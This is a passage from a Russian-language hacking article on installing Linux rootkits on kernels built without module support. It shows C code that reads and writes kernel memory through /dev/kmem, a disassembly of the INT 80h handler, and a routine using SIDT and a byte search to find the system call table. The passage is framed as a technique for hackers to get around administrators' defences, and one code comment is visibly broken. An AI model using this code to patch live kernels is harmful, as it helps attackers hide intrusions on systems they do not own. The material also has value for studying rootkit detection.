Когда модули недоступны…
Для борьбы с LKM-rootkit'ами некоторые админы компилируют ядро без поддержки загружаемых модулей и удаляют файл System.map, лишая нас таблицы символов. А без нее хрен что найдешь. Но хакеры выживают даже в этих суровых условиях….
Идеология UNIX выгодно отличается от Windows тем, что любая сущность (будь то устройство, процесс или сетевое соединение) монтируется на файловую систему, подчинясь общим правилам. Не избежала этой участи и оперативная память, представленная "псеводустройствами" /dev/mem
(физическая память до виртуальной трансляции) и /dev/kmem
(физическая память после виртуальной трансляции). Манипулировать с данными устройствами может только root, однако, спускаться на уровень ядра ему необязательно, а, значит, поддержка модульности нам не нужна!
Следующие функции демонстрируют технику чтения/записи ядерной памяти с прикладного уровня:
// чтение данных из /dev/kmem
static inline int rkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset) return 0;
if (read(fd, buf, size) != size) return 0;
return size;
}
// запись данных в /dev/kmem
static inline int wkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset) return 0;
if (write(fd, buf, size) != size) return 0;
return size;
}
Листинг 9 чтение/запись в/из /dev/kmem
Остается только найти во всем этом мусоре таблицу системных вызовов. Да как же мы ее найдем, если никакой символьной информации у нас нет?! Без паники! Нам помогут центральный процессор и машинный код обработчика прерывания INT 80h, которое этими системными вызовами, собственно говоря, и заведует.
Его дизассемблерный листинг в общем случае выглядит так:
0xc0106bc8 <system_call>: push %eax
0xc0106bc9 <system_call+1>: cld
0xc0106bca <system_call+2>: push %es
0xc0106bcb <system_call+3>: push %ds
0xc0106bcc <system_call+4>: push %eax
0xc0106bcd <system_call+5>: push %ebp
0xc0106bce <system_call+6>: push %edi
0xc0106bcf <system_call+7>: push %esi
0xc0106bd0 <system_call+8>: push %edx
0xc0106bd1 <system_call+9>: push %ecx
0xc0106bd2 <system_call+10>: push %ebx
0xc0106bd3 <system_call+11>: mov $0x18,%edx
0xc0106bd8 <system_call+16>: mov %edx,%ds
0xc0106bda <system_call+18>: mov %edx,%es
0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx
0xc0106be1 <system_call+25>: and %esp,%ebx
0xc0106be3 <system_call+27>: cmp $0x100,%eax
0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys>
0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx)
0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- that's it
0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
0xc0106bff <system_call+55>: nop
Листинг 10 фрагмент дизассемблерного листинга обработчика прерывания INT 80h
Смотрите, по адресу 0C0106BF4h расположена команда CALL, непосредственным аргументом которой является… указатель на таблицу системных вызовов! Адрес команды CALL может меняться от одного ядра к другому, или это даже может быть совсем не CALL – в некоторых ядрах указатель на таблицу системных вызовов передается через промежуточный регистр командой MOV. Короче, нам нужна команда, одним из аргументов который является непосредственный операнд X > 0C000000h. Естественно, чтобы его найти потребуется написать простенький дизассемблер (звучит страшнее, чем выглядит) или найти готовый движок в сети. Там их до… ну в общем много.
А как найти адрес обработчика INT 80h в файле /dev/kmem? Просто спросите об этом процессор — он скажет. Команда SIDT возвращает содержимое таблицы дескрпыторов прерываний (Interrupt Descriptor Table), восьмидесятый'h элемент с краю и есть наш обработчик!
Ниже приведен фрагмент кода, определяющего позицию таблицы системных вызовов в /dev/kmem (полная версия содержится в статье "Linux on-the-fly kernel patching without LKM" из 3Ah номера PHRACK'а):
// анализируем первые 100 байт обработчика
#define CALLOFF 100
main ()
{
unsigned sys_call_off;
unsigned sct;
char sc_asm[CALLOFF],*p;
// читаем содержимое таблицы прерываний
asm ("sidt %0" : "=m" (idtr));
printf("idtr base at 0x%X\n",(int)idtr.base);
// открываем /dev/kmem
kmem = open ("/dev/kmem",O_RDONLY);
if (kmem<0) return 1;
// считывает код обработчика INT 80h из /dev/kmem
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
printf("idt80: flags=%X sel=%X off=%X\n",
(unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
// ищем косвенный CALL
с непосредственным операндом
// код самой функции dispatch здесь не показан
dispatch (indirect call) */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);
if (p)
{
printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);
}
close(kmem);
}
Листинг 11 поиск обработчика INT 80h внутри /dev/kmem

Рисунок 6 просмотр /dev/mem в hex-редакторе